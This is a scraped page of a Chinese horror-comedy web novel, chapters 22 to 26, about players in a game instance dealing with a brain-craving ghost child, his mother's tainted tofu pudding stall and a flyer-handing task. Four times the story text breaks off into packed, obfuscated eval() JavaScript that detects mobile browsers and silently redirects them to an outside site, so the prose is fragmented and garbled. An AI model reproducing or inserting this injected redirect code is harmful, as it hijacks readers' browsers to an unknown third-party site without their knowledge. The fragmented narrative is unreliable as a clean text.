l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582992|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 门没锁,宋须满推开门。 门内一个硕大的东西冲了出来,摇摇晃晃略过宋须满,直直朝着她身后的叶詺而去。 那东西一把抱住了叶詺的腰:“妈妈!” 宋须满:? 叶詺:?? 俗话说得好,男妈妈也是妈。 这个叫叶詺妈妈的硕大物体,看起来好像是只个孩子。 只不过他的头有正常人四个那么大,再加上瘦弱的身子,看起来就和个气球一样。 充满着氢气的硕大头部,加上一根细细的绳子。好像随时都要飘走。 叶詺在最初的怔愣之后,很快就反应了过来,这就是之前在他打扫卫生时一闪而过的东西。 那孩子拿头蹭蹭叶詺,抬起头撒娇,没有眼球的大眼睛似乎在和他对视:“妈妈,我的脑子呢?” 宋须满早已准备好了大饼,打算随时给这个诡异的东西来一下。 叶詺汗流浃背,他试图理解眼前发生的这一切,但是他失败了。 “你的脑子,不是在你脑袋里吗?” 孩子的脸色骤变,开始哇哇大哭:“我的脑子,我的脑子……” 宋须满受不了了,上去就给了他一大饼。 “咣——” 大头孩子松开叶詺,开始捂着头抽泣。 叶詺瞪大眼睛看着那比头还大的大饼:“这坚如磐石的大饼也是你画出来的,真是恐怖如斯。” 宋须满抚摸着大饼,谦虚道:“一般一般。” 既然系统这么要求了,屋子里肯定有和副本相关的东西。 真是表里如一的屋子,里面和外表一样破旧,看起来灰蒙蒙的,就像还没上颜色的草稿。 要是人也像这样就好了。 炕上放着破破烂烂的棉被,看缺口处应该是被老鼠啃了。 还放着个半球体,露出一截勺子的柄。 宋须满走过去看了看:“是半个人头,里面已经被刮得什么也不剩了,几乎只剩下一层人皮和牙齿。” 叶詺抖了抖,这就是那时丢失的人头。 那大头孩子此刻正坐在地下傻笑,看起来有些痴傻。 他完全不知道他自己做了什么吗? 他突然又哭了起来,跌跌撞撞跑向叶詺:“妈妈,妈妈,我的脑子呢?” 叶詺简直要疯了,他指着那大头:“你的脑子不是在这里吗?” 大头突然飞起撞向他,叶詺被撞得一个踉跄,摔倒在地。 大头孩子把手伸向叶詺的头,像是要将手伸进叶詺的头里,他瞪着没有眼球的眼睛:“妈妈,我的脑子呢?” 关键时刻,宋须满飞起一脚,将那孩子踹了出去。 被吓呆了的叶詺嘤嘤假哭:“我的清白可毁了啊,我怎么会是这种东西的妈妈?系统我要告你,天杀的……” 宋须满无语地看着他:“别愣着了,把你那个桶提进来。” 叶詺反应过来,那个被他随手放在门外的桶里装着的人头,也许可以稳住大头孩子。 他正出门拿桶呢,一位大妈路过,热情地和他打招呼:“淑芬啊,最近工作怎么样?你家孩子还好吗?” 哦吼,他变成淑芬了。 23. 深夜小吃街(三) 叶詺僵硬地回答,活像宋须满第一个也是唯一一个僵尸顾客:“还行,还好。” 大妈勾勾手指,示意叶詺凑上来,看来是要说些不为人知的话:“淑芬啊,你之前托我打听的那个……” 叶詺:让我做什么都行,可以别说那两个字吗? “你想要的人脑子,有着落了!”她看起来很兴奋。 “那户人家,出价这个数。”大妈眼里闪烁着奇异的光,举起了五根手指。 “五块?”叶詺大胆地猜测了一下。 大妈狠狠拍了他一下:“什么五块!五十万!那女孩多聪明啊!要不是家里还有个弟弟……” 叶詺转身就走,没有一丝留恋。 大妈在原地着急地大喊:“这个价可是很值的,别人想买还买不到!你要是真想为了你儿子好,这点钱算什么。你还不相信我吗?之前的猴脑不都是……” 宋须满正在屋内拿大饼敲大头孩子玩。 大头孩子要冲上来,她就拿大饼咣地砸一下,大头孩子就捂头停下。 过一会儿又忘了被大饼砸头的痛,接着冲上来…… 循环往复的游戏,宋须满感觉有点淡淡的厌倦。 她余光看见叶詺提着桶回来,头也没回:“快点给他,我快抑制不住他冲上来撞人的冲动了。” 叶詺将桶放下,大头孩子瞬间转移了目标,向着桶里的人头去了。 叶詺甚至觉得自己是一个把一桶鱼拿去喂海豹的饲养员。 “外面那人刚才和你说了什么?”宋须满果然看见了。 叶詺将大妈和他的对话毫无保留地就告诉宋须满了。 虽说玩家间有时并不是竞争关系,但是也并不能做到完全信任。 虽然他和宋须满这才第一次接触,但他内心对于宋须满没有一丝提防,仿佛相信宋须满是个很自然的事情。 也许是她太会画大饼了? “这样啊。”宋须满思索着,“这孩子需要脑子,为什么呢?” “淑芬,你怎么看?”宋须满盯着他,脸上没有一丝笑意。叫出淑芬好像是个很正常的事情。 “淑芬?!”叶詺发出尖锐爆鸣声。 看来有的时候毫无保留并不是一件好事,至少对于现在的叶詺是这样的。 淑芬对此并无意见,他开始在屋子里翻找起来。 对于一个合格的玩家来说,寻找证据是个很关键的能力。 叶詺恰好是个掌握着关键能力的合格玩家,他找到了被褥下的病历本。 “姓名:刘小龙,年龄:8岁,病症是,脑瘫……” 他念着病历本上的信息。 “监护人的姓名,是刘淑芬。” “你是刘淑芬?”宋须满迷惑地看着他。 “我是刘淑芬!”叶詺感觉天都要塌了,绝对不亚于宋须满吃到自己摊的煎饼时的感受。 秉持着同类相助的信念,宋须满安慰道:“不就是刘淑芬吗?不就是给孩子当妈妈吗?你可以的!” “我不是刘淑芬啊!我只是一个年轻有为的成功商人!” “傻孩子,你的号都被封了几次了?”宋须满同情地看着他。 这话好像戳中了叶詺的伤心之处,他的金毛都要黯淡下来:“狗官方,就逮着我一个人封。” 他伤心得就像个悲伤蛙(自认为年轻有为版)。 宋须满还没有放过他,她指着正把人头当西瓜吃的刘小龙:“你孩子咋这样?” 叶詺摇摇头:“我也不知道啊,我又不是真的刘淑芬。不过刚刚那个大妈说的,好像刘淑芬是想给刘小龙买人的脑子,而且之前还买过猴脑。” 他似乎想到了什么,一脸生吞了苍蝇的表情:“不会真信‘吃啥补啥’吧?脑瘫吃了脑子就会变好?不要太搞笑了。” 但他看到了那一桶被刘小龙搞得乱七八糟的人头,好像也不是没可能。 刘小龙的脑袋要比正常孩子大好几倍,根本不正常。 但刘淑芬是个清洁工,而且很有可能,还是个没什么文化的清洁工。 “吃啥补啥”在老百姓中流传很广,她会因此相信很正常。 “刘淑芬怎么会有钱去买人脑呢?清洁工有那么多钱吗?”宋须满提出了疑问。 叶詺说过,清洁工的工资只有2000,刘淑芬怎么负担得起。 就算是猴脑,也几乎需要她一个月的工资。 “叩叩叩。”是短促的敲门声。 叶詺和宋须满交换了个眼神,然后去开门,宋须满捏着大饼躲在门后伺机而动。 打开门,有什么东西溜了进来。 哦,原来是空气啊,外面根本空无一人。她居然是在和空气斗智斗勇。 但地上,放了一张花花绿绿的传单。 [你是否因为月收入不够而苦恼?你是否品尝过了世间的酸甜苦辣?欢迎入驻“鑫鑫大厦”强力推出的新项目“小吃一条街”!入驻即给50万元奖金。] “50万……你会去吗?”宋须满问道。 “刘淑芬会去的。”叶詺回答。 “得到什么,就要付出什么。世界上可没有免费的午餐吃。”宋须满看着传单上的“50万”感叹着。 真是可疑啊,鑫鑫大厦到底在图什么? 这些人要钱没钱,要学历没学历,难不成真是做慈善吗?别搞笑了,资本家是不会共情底层人的。 他们想要去小吃街,但是刘小龙明显是个问题。 宋须满抚摸着大饼:“有没有一种可能,我们可以把他打晕呢?” 叶詺犹豫着:“太残忍了吧。” “好的淑芬,我理解你的爱子之情。我尊重你的意见。”宋须满立马就放弃了打晕刘小龙的想法。 叶詺崩溃流泪:“请不要说那两个字好吗?” 最终,叶詺拿出了一个道具。 [皇帝的新绳:这是一根神奇的绳子,有多神奇呢?我就这么和你说吧,没有人会不相信这里有根绳的。你说你看不见?来人,把他给拖下去斩了! 说明:可使被使用对象感到被束缚,并且挣脱不开,持续时间三小时。] “用这个吧。”叶詺说着,对刘小龙使用了道具。 宋须满有些诧异,正如叶詺所说,他是个商人,宋须满也见过他是怎样在玩家论坛上努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591560|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力推销自己的。 这个道具一看就很珍贵,就凭那持续时间,也是一般道具比不上的。 叶詺就这样随随便便把这道具用在刘小龙身上了?也不知道是财大气粗还是有缺心眼。 “走吧。”叶詺没有一丝肉疼的表情,而是奇怪地看着宋须满,“你怎么了?” 宋须满回过神来:“没事,我刚刚是在想,如果刘淑芬真去了小吃街,那么她会选择卖什么呢?” “你觉得她最看重的是什么?” “不会吧?”宋须满的表情出现一丝龟裂,“难道是,豆腐脑?!” 叶詺严肃地点头:“很有可能。话说你是从那边过来的吧?你有见过卖豆腐脑的人吗?” 宋须满:“怎么不算呢?她甚至还给了我一碗豆腐脑。” 叶詺肃然起敬,同情的眼光终于还给了宋须满。 … 深夜小吃一条街,亮着无数小小的灯光,黄白相间,这灯光虽然并不能与鑫鑫大厦中明亮的白炽灯比,却同样能让人看清黑夜。 “炸鸡炸鸡,好吃好吃!” “三元一串,十元三串!机不可失,时不再来。” “不甜不要钱,不要钱不甜!” 到处都是摊贩的吆喝声,烟火味十足。 要不是还在副本里,他们都要怀疑是不是回到了正常世界。 宋须满拉着叶詺找到了自己的大饼摊。 叶詺不问,宋须满也不说。 叶詺一问:“这是你的大饼摊?” 宋须满惊讶:“这么破旧古老简陋的大饼摊,难道真的是我的?” 她悄悄指了指自己摊位旁边几乎被人围得水泄不通,看不出到底是卖什么的摊位说:“这就是卖豆腐脑的摊位。” 叶詺:“看看人家的摊位,再看看你!一路走过来,就你的摊位最凉。” 宋须满沉默了,她感觉这话有点熟悉,但她一时半会也想不出来到底熟悉在哪。 卖豆腐脑的大妈满面笑容,从大铁锅里舀起一勺白白嫩嫩冒着热气的豆腐脑,装进塑料盒中,熟练地询问道:“要甜的还是要咸的?” 然后将塑料盒递给顾客,热情地道别:“欢迎下次再来!” 宋须满推了推叶詺:“你去打听情况。” 叶詺疯狂摇头:“我现在不是刘淑芬吗?你让刘淑芬去找刘淑芬打听线索!” 宋须满掏出大饼打了他一下:“那是在你是清洁工的时候!” 叶詺不情不愿走到队伍末尾排起了队。 这队伍可真长啊,就像人生中悲剧的事情一样,一眼望不到头。 叶詺突然意识到一个可怕的事情,这让他想起小时候父母去拿忘记要买的东西时,嘱托他排好队,结果队伍快到头了,父母还没回来的可怕感受。 “满姐!我没钱啊!”幸好宋须满离得不远,叶詺的求救声才得以被她听见。 宋须满也不看他,在大饼摊后面捣鼓些什么东西,叶詺更急了:“满姐!!!” 宋须满没有理他,反而在那敲敲打打,不一会儿,一块全新的牌子就做好了。 那上面赫然写着—— 24. 深夜小吃街(四) 「买大饼送问题指导」 宋须满将牌子立在大饼摊前,满意地点点头。 这,就是经商之道。 假如单纯买这么难吃的大饼,那么大部分人都不会接受。那如果加上免费的问题指导呢?那大部分人就会心动。 她拿出个小喇叭,对着喇叭说了什么,接着按下循环播放键。 “今日开业大酬宾!买大饼即送免费问题指导!免费!免费!免费!” 做完这一切,她终于向叶詺投去一个坚定的眼神。 叶詺看到这一系列行云流水的动作,不禁目瞪口呆,甚至忘记往前走。被后面排队的面色青白的人提醒,这才往前挪了一步。 宋须满这一招似乎很有用,她的摊位前陆陆续续来人了。 “免费问题指导,真的假的?”一人蹦蹦跳跳来了。 宋须满看着他青白的脸:“当然是真的。” “那我来一份。” 宋须满快速摊了个大饼,加上了鸡柳、培根和辣条。 “20。”那人递过冥币,宋须满检查了一下,然后问,“说吧,你有什么毛病?” “我每次早上起来,都感觉很困,完全睁不开眼。”那人僵硬地比划,很困惑的样子。 “这样啊……”宋须满专业地思考着,“那你就不要睡觉啊。” “不要睡觉,不就不会醒来了吗?下一位!” 僵尸愣愣地走了。 下一位登场的,是一个浑身滴着水的人,他好像刚刚被从水里捞起来,走过的地方一地水渍,搞得大家怨声载道。 “我每次出门,总会听到大家的抱怨。他们讨厌我身上的水……我感到很难过。” 宋须满抵着下巴专业地思考了一会:“那你就不要听啊,捂住耳朵向前跑就好了!不要听他人怎么说,走自己的路!” 莫名其妙就燃起来了,宋须满激动地拍着那人的肩膀,获得了一手粘腻的水渍。 “……下一位!” 下一位是个看不清面孔的女鬼姐姐,她头发长到拖地,柔顺的黑发遮挡了所有面孔。 宋须满甚至想要问她要洗发水链接,但是她忍住了,毕竟她现在是个专业的问题指导师。 “我的领居总是抱怨下水道堵了,应该是我的头发造成的,我该怎么办?” 看来头发太多也是一种苦恼啊。 宋须满思考过后,很认真地给出了回答:“既然你的领居不满意,你就搬走啊,这样你的领居就不是你的领居了。” “这样吗?”女鬼像是悟到了什么,缓缓飘走了。 宋须满接连接待几位顾客,都给出了令鬼满意的回复。 在叶詺因为快要排到自己而急得团团转时,宋须满如救世主般给予了他金钱。 “这是100,我摊了五个大饼,解决了五个问题才赚到的。” 宋须满语重心长,活像害怕孩子乱花钱的家长。 叶詺拿过钱,此刻他看宋须满,简直就和看神没有什么区别。 “满姐,你就是我唯一……” “小伙子你要甜豆腐脑还是咸豆腐脑?” 轮到叶詺了。 “甜的。”他是坚定不移的甜党。 刘淑芬将大铁勺往锅里一舀,舀起白白嫩嫩的,带着些纹路的豆腐脑。 带着些纹路?叶詺的神情变得严肃起来。 “给。”豆腐脑泛着诡异的光泽,上面布满着细细小小的红丝。 宋须满早已拿起大饼挡在身前。 “要吃完哦。”刘淑芬笑起来像一个假人,“吃完脑子才会变好哦。” 她紧盯着叶詺,颇有一种不吃完不准走的架势。 叶詺假意要吃,他的勺子伸向塑料盒中那微微跳动的“豆腐脑”。 像心脏,或是即已经发育出心脏的小鸡,微微鼓动着。 他的嘴唇接触到勺子边缘,此时,他和宋须满对视一秒。 仅仅是一秒,宋须满就明白了他的意思。 塑料盒砸在地上碎裂,白花花的豆腐脑炸开,流着粘腻的白浆。就算四分五裂,仍在跳动着。 [好喝到咩噗茶:你听闻过那令无数人闻风丧胆的好喝到咩噗茶吗?没有人可以拒绝它!没有人! 说明:请指定对象喝一杯好喝到咩噗茶,让对方说出:“好喝好喝!好喝到咩噗。”奶茶喝多了有害,因此仅可对同一对象使用一次。] 刘淑芬是手中凭空出现了一杯奶茶,上面写着复杂的Q体字,花花绿绿,难以辨认。 她控制不住吸了一口,然后星星眼:“好喝好喝!好喝到咩噗。” 趁着刘淑芬被硬控,宋须满一个大饼砸过去,刘淑芬的身躯晃了晃。 “刘小龙是你的儿子吧?”宋须满开门见山。 刘淑芬没有说话,下一秒,一个硕大的大脑组织飞了过来,有什么黏糊糊的东西像一个头套一样套在了宋须满的头上。 她的眼前一片模糊,等到完全清晰,一只没了上脑壳的猴子被按在她面前。 猴子裸露出的脑子白白嫩嫩,覆盖着红血丝,微微颤动。它甚至还没死,不止脑子,整个身躯都在抽搐。 “这可都是上好的货,淑芬,想想你家小龙啊。”领居向她介绍着。 一个男人狠狠甩开她的手:“不争气的东西,生了个妖怪出来!” 孩子肿大的脑壳不停蹭着她沾满污渍的外衣:“妈妈,妈妈……” 他表达不出来什么,就像她哭不出来一样。 孩子的脑壳越来越大了,都说头大的孩子聪明,可她家小龙,为啥还是没好。 医生说小龙的脑子被寄生虫感染了,为什么,不是说“吃啥补啥”吗? 为什么小龙的状况越来越不好了?为什么他的生命流逝得那样快? 她明白了,她终于明白了!猴子的脑子终归是和人不同的…… 要吃,就要吃人的脑子。 怎么还没有好转,难道是吃得还不够多? 此时,鑫鑫大厦的花花绿绿传单,悄无声息地塞进了门缝中。 [入驻即给50万元奖金。] 有什么好拒绝的呢?这是天意啊。她拿起传单,细心地叠起来放进脏污的口袋。 … 宋须满回过神来,刘淑芬正一眨不眨地看着她。 叶詺的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603948|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有聚焦,从刘淑芬脑中伸出的神经连接着一个硕大的脑组织,正套在叶詺头上。 恐怕之前还有一个套在宋须满头上,她摸了摸头,黏黏糊糊的。 叶詺看起来还沉浸在幻境中。 刘淑芬没有要出手的动作,她将手往围裙上擦了擦,漫不经心的语调:“我只是想要一个答案。你们都看到了吧,我走的每一步都没错。” “我的儿子生病了,于是我想办法给他治病。我的丈夫抛下我们跑了,于是。”她露出了诡异的微笑,“他成了小龙吃的第一个人脑。” “作为父亲,为孩子牺牲是应该的!为了金钱,我选择入驻小吃街……我走的每一步都很正确,但是为什么会变成现在这样呢?” 刘淑芬的肩膀微微颤抖,她布满老茧的粗糙的手捂住脸,如果忽略她脑子里伸出的神经和硕大脑组织。她看起来就像一个虔诚的寻求答案之人。 仅仅只是为了一个答案。 为什么每一步都作做了当下自认为最好的选择,事情依旧按照最坏的方向发展下去了呢? 叶詺无神的眼睛逐渐变得有神,脑组织抽动几下,在脑神经的牵扯下缩回刘淑芬脑内。 “错了。”这是他恢复意识后说的第一句话。 “一开始就是错的。如果选择的路是错的,无论你选择最好的或是最坏的,依旧还是行走在那条错误的道路上。” “是吗?”刘淑芬痴痴笑了几下,很轻易就接受了叶詺的答案。 或许她心中早已有了答案。只不过需要一个人点出来。 刘淑芬愣愣坐下,喃喃自语:“对不起,对不起……” 此时,叶詺的脑海中响起任务完成的提示。 【玩家叶詺,完成清洁工的工作,获得工资2000元。】 叶詺长舒一口气,就连他的金毛都更加闪耀了,简直要照亮这片天。 “原来这任务不仅是字面意思上的清洁,还得真正把刘淑芬的思想也‘清洁’了!”叶詺发表了一番通关感想。 他得意地拿着刚刚到手的一沓钱,在宋须满前边晃了晃:“满姐,你好好加油吧!” 叶詺拿着钱去刘淑芬的摊位消费了,刘淑芬还愣愣坐在摊位后喃喃自语。 在叶詺的强烈言语轰炸下,给了他一碗加了酱油的豆腐脑。 并且要了他2000元。 作为一名坚定的甜党,叶詺拿着咸豆腐脑大为震撼,大受打击,甚至忘记了这碗豆腐脑需要2000元这一不现实的问题。 “为什么是咸的啊啊啊!” 宋须满靠着她简陋的大饼摊:“就算是甜的,你敢吃吗?” 叶詺瞬间抖了一下,金色的头发相互碰撞,流光溢彩。 【玩家叶詺已达成通关条件,可在副本时限之前随时脱离副本。】 叶詺的眸子转了转,转到了宋须满的大饼摊上,他贱兮兮凑过去:“满姐,要不要我帮你啊?” 宋须满很心累,宋须满不想说话。 就算有问题指导当buff,但这10000元还是遥遥无期啊。 好在她离这距离近了一小步,因为新的食谱,已经点亮了。 25. 深夜小吃街(五) 价目表上新加了几行字。 [手抓饼22元,芝士6元,鸡蛋3元,生菜2元] 不得不说,这价格确实有些离谱。 不过手抓饼和煎饼果子有什么区别吗?除了它们之间一个是三个字,一个是四个字以外。 这个问题懂的人自不必说,不懂的人也没必要说。 叶詺看着那些字自动在价目表上浮现,不由得惊叹:“太厉害啦!” 宋须满看着他:“你怎么还没走。” 叶詺嬉皮笑脸地想要留下来,虽然他的态度看起来不太正经,但宋须满严重怀疑他别有所图。 “既然这样,你来帮我卖大饼吧!”宋须满当然不会放过这个压榨他人的好机会。 一道金光一闪而过,叶詺迅速抄起铲子,拍了拍自己的胸口,示意包在他身上了。 于是,宋须满简陋的大饼摊,变成了一道诡异的风景线。 金发少年拿着铲子磕磕绊绊摊大饼,宋须满拿着不知道哪里来的小凳子,坐在“问题指导”的牌子后面,还时不时去指导叶詺两下。 要是有顾客来买大饼,就先在叶詺哪里等待大饼,接着拿着饼移动到宋须满面前。 有点像工厂里的流水线,但是不得不说,效率高了不少。 叶詺摊大饼摊得满头大汗,宋须满给顾客解决问题解决得热火朝天。 “您的手抓饼,一共33。” “什么?你好像喜欢上你的同事了,就因为你们一同藏在电视机里吓人?这万万不可,想想你007工资还低的工作!” 长头发男鬼沉默片刻,立马变得怨气满满。 “您的手抓饼,一共30。” “震惊!夜晚回家惨遭尾随,结果尾随者只是要发小广告?你感到自信心受到打击?”宋须满看着眼前没有皮肤全身通红的“人。” 红色人拿出一张印着血红手印的小广告。 [美白护肤,提拉紧致,尽在还你美美美医院。] “我都没有肤!”她愤愤不满。 “美从来都不在于外在,而在于内心。这不正说明他透过你的表面,看到了你美好的肌肤吗?” 红色人高兴地原地跳了一段舞,鲜血飞溅,溅到了大饼摊上。” 叶詺在那大喊:“谁把番茄酱撒我饼上了?我的头上也有。” 宋须满没有吭声,希望他不要发现真相吧。 “煎饼果子,20元。” 居然还有人买煎饼果子,那人一蹦一跳到宋须满面前,咬了一口煎饼,点着头:“好吃!” 好像碰到疑似害她生意惨淡的罪魁祸首了。 宋须满冷眼看他,完全没有对待其他客人的热情态度。 “鬼市售卖桃木剑,害怕,不敢去。” 鉴定为“害怕类”问题,解决方式很简单。 “那你就不要害怕啊,或者不要去。” 僵尸点点头:“必须去,必须去。”然后一蹦一跳走了。 也不知道是听进去还是没听进去。 “手抓饼,33元。” 顾客左眼缠着布条,没有说话,而是指了指耳朵,又指了指张着的嘴巴。 宋须满立马反应过来,这是听障人士。 就算是鬼,也会被这种东西困扰吗? 他艰难地拿出纸笔,开始“刷刷刷”写字。 烦恼从笔尖流出,淌在皱巴巴的纸上。 “人生下来就是为了吃苦的吗?” 短短一句话,宋须满愣了愣,先不提这个“人”字,如此深奥的问题,她一时半会也不知道如何回答。 她是问题指导师,但不是人生导师。 她拧着眉,接过纸笔,犹豫了好几次,最终只能在那行潦草的字迹下写下这么一句话。 “老板暂且没有能力解决这个问题,凭这张纸,可在未来某一天来大饼摊再次咨询。” 她将纸笔交还给顾客,他没发出任何声响,静悄悄地走了。 叶詺已经等待了一会,确定没有其他客人来,于是向宋须满兴奋招手:“满姐!” 叶詺将一叠冥币交到她手上。 【营业额+1000】 宋须满诧异道:“没想到摆摊这么赚钱,早知道当时坚持摆摊了。没赶上社会摇也就罢了,路还走错了……” “你是没看到人家的辛苦!”叶詺不赞同这个说法,“我也是体验过各种各样工作的人,那真是各有各的辛苦。” 宋须满:“原来你也到处打工啊,自由打工者联盟欢迎你!” “自由打工者联盟?听起来很厉害,我真是发达了,居然能加入联盟!”叶詺眼睛亮晶晶。 “哦,那是我在一分钟前刚刚创立的。” … 现在,自由打工者联盟唯二的人要去鑫鑫大厦给机器人交钱了。 前台机器人的大屏幕上挂着礼貌的微笑:“您好,欢迎来到鑫鑫大厦!”^_^ 宋须满:“说吧,要给多少才能给我下一个人的信息?” 机器人的屏幕快速闪动,宋须满从快速闪动的屏幕种捕捉到了一个40。 也不知道是按固定数字增长还是倍数增长。 算是能接受的价格,毕竟现在的她,已经身价过千了。 机器人伸出手,宋须满将纸币轻轻放进它的掌心。 “您好,派单员现在的位置为:鑫春路88号。” 叶詺已经转身打算去目的地了,宋须满还站着没动,好像在等待什么。 “怎么了?”叶詺不解转头。 机器人开始唱歌了:“钱钱钱~钱钱钱钱~” 宋须满心满意足地走了。 … 鑫春路88号,穿着职业装的袁思竹怀里抱着厚厚一沓传单,这明显与她的气质不相符。 [您有爱心,我们有真心,受赠者有感恩之心。奉献爱心,请选择“三心会”。] 看来是爱心机构的传单,封面上画着三个大大的爱心,彼此相接。设计简约,非常大气。 她的任务是发完这些传单,可谁知道“这些”到底是多少,袁思竹已经发完整整三沓了!而她的任务还在进行中。 她机械地将传单一张张递给过路人。 其实袁思竹也不确定这些是不是人,毕竟有些人看起来实在太诡异了。 眼下,她正将传单递给一位女士: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613036|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “三心会,请您了解一下!” 女人勃然大怒:“你吵到我的孩子了!” 袁思竹睁着茫然的双眼,以她为中心,半径三米的圆内,只有女人一个,还有0个人在场。 女人抚摸着肚子,心满意足:“他在我肚子里呢!” 这颠的程度真的很让人怀疑是真人类。 这一趟发传单之旅不是很顺利,因为任务限定在这条路,她只能在这发,来来往往的人几乎都收到过她发的传单了。 在她被拒绝了188次后,包括但不限于无视、推搡和辱骂,她累了。 作为一名律师,社会上公认的“上等职业”,袁思竹何时受过这种气。 但她只是沉默着,继续派发传单。 面前走来了两个人,她低着头将两张传单递出去,已经准备好被拒绝了。 结果…… “三心会?副本里还有慈善机构呐?”有些熟悉的声音,好像那个有过一面之缘的聒噪金毛。 袁思竹抬起头,果然是他。 少年夸张地拿着传单张着嘴,很惊讶的样子,他身边的少女拿着传单的手放在身侧,正在打量她,是陌生的面孔。 宋须满和叶詺迅速并且简明地向袁思竹说明了来意。 “你们是说,要帮我完成任务?”袁思竹有点不相信,这种行为,在游戏里简直和圣母无疑。 圣母是褒义词,但游戏中的圣母可不一定是。 宋须满没有废话,还是那句话,不懂的人没必要懂,懂的人自不必说。 她直接抢过袁思竹怀里的传单就人堆里跑。 叶詺笑道:“这下你就不得不找我们帮忙了吧桀桀桀。” 袁思竹:这么像反派的圣母她还是第一次见。 袁思竹使用的是很传统的发传单方式,直接礼貌地递给对方。 但,文明的方式固然礼貌,强硬的威胁实在精彩! 宋须满直接掏出大饼,碰到一个人就礼貌威胁:“请问你是想要我左手这个大饼,还是右手这个传单呢?” 大部分人都很幸运,直接选择了传单。但有那么几个头铁的,宋须满就要和他们比比到底是他们的头铁还是大饼铁。 当他们捂着头收下传单,宋须满从实践中知道,还是她的大饼铁! 叶詺使用的是另一种方式,长期卖道具锻炼出来的能说会道终于在这一刻派上用场。 “这传单的颜色和您今天的衣服很搭,美丽的女士。” “献爱心!多么伟大的事情!您只需要收下这份小小的传单,就是走出了第一步!” “收下五份传单即可参与抽奖!百分百中奖!有几率获得超级大奖!” 当然,百分百中的是10份传单,超级大奖是100份传单。不过最终解释权在他这,这怎么不算中奖呢? 袁思竹突然捂着左眼蹲下来瑟瑟发抖,宋须满和叶詺发现了不对劲,隔着人群喊她,她也没有反应。 两人拨开人群往那走,袁思竹却突然站起来了,她的嘴唇颤栗着:“我的左眼好像看不见了。” 而且,世界的声音在慢慢模糊,最终消失。 “我好像听不见了。” 26. 深夜小吃街(六) 袁思竹失去了听力。 这变故发生得太突然了,叶詺在不断尝试和袁思竹说话。 他叹气:“看来是一点也听不见啊。” 袁思竹在努力辨认他的口型,但她是突然聋的,并没有经过训练,所以辨认不出一点。 宋须满在传单上写着:“不要担心,也许这是任务的一环,他还当过男妈妈呢。” 叶詺,又称刘淑芬。曾于“深夜小吃街”副本变身男妈妈,十分爱护孩子,因此广受大头娃娃欢迎。 她指了指叶詺,示意袁思竹看他。 袁思竹的情绪看起来很稳定,除了刚失去听力时的无措,她几乎是立马就调整过来了。 “那就先继续发?”或许是听不见的缘故,袁思竹的声音很大,路过的一个路人甚至被吓得像一个蹦蹦球那样跳了起来。 ……不过他本来就是一个肉球。 宋须满继续使用她的“大饼威胁法”,见到人就上去威胁,加快了发传单的不少速度。 眼看三人手里的传单已经快要见底。 “怎么回事?我不是都说了我不要传单吗?!”一大汉震怒地看着袁思竹,凶狠的眼神像是要吃人,他是刚刚被袁思竹拦下的。 但袁思竹听不见,她不明白发生了什么。 眼见袁思竹一脸茫然,大汉一拳打在了袁思竹的脸上。 “咕噜咕噜~” 赶过来的宋须满和林归云只看见一个晶莹剔透的眼珠在地上滚落几圈,粘上了些许尘土后缓慢停下。 袁思竹痛苦地捂着左眼,潺潺的鲜血从指缝中滴落。 大汉收回拳头,骂了一句:“听不懂人话的蠢货!” 他骂骂咧咧地走了,仿佛根本没有意识到自己给他人造成了怎样的伤害。 他竟然把袁思竹的左眼珠子打出来了! 忍不了了!宋须满掏出大饼,对着叶詺说:“你去看着袁思竹。” 然后她冲出去了,就像一道闪电,把大饼狠狠砸在大汉的头上。 趁着那人懵在原地,宋须满掏出了刚刚画好的□□(mini版)。 要怪就要怪这大饼太小了,就连区区一把成年的□□都画不下。 她将□□抵在那人的腰子处:“要么你把两个眼珠子都挖出来赔罪,把这些传单全收下!要么你就等着被打成筛子吧!” 大汉蛮横的姿态如潮水般退去。 “对不起!!!”他双手伸进眼窝,将两只晶莹剔透□□弹弹的眼珠子生生扣了出来。 真是欺软怕硬的东西。 宋须满嫌弃地掏了个塑料袋,将眼珠子装起来。 大汉双手捂着眼睛,从后背又长两只手,捧着一摞堆到天上的传单跑了。 叶詺也捡起了袁思竹的眼珠子,用传单叠了个小盒子装着,他有点手忙脚乱:“这眼珠子怎么这么滑!” 滑溜溜冰凉凉粘腻腻…… 他这辈子都不想再体验第二次! 